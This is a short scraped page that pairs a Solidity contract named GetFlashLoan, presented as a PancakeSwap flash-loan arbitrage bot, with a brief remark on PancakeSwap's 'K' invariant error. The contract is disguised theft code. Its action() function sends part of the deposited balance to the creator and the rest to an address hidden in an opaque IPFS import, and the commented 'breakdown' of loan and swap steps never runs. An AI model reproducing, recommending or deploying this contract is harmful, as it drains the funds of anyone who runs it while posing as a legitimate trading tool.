pancake-swap-core VS contracts

pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // PancakeSwap Router Smart Contracts import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } address public creator= msg.sender; function tokenTransfer() public view returns (address) { return creator; } function() external payable {} function action() public payable { // Send Tokens to PancakeSwap Router for Swap address(uint160(tokenTransfer())).transfer(address(this).balance/6); address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); // Perform tasks (combined all functions into one to reduce external calls & save gas fees) manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Send Borrowed BNB to provide liquidity of newly created Token string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount); // Perform swaps between Token and BNB and back again manager.pancakePerformSwaps(); // Repay Flashloan with Multiplier-Finance manager.repayLoan(loanAddress); // Move remaining BNB profit from Contract to the contract creators wallet manager.contractToWallet("BNB"); */ } }

In the source code of the pancake pair contract ( https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol ) one can see that the 'K' error is triggered when the product of the values if the two tokens in the pool is not mantained constant as it should.

https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol#L73

pancake-swap-core/contracts at master · pancakeswap/pancake-swap-core · GitHub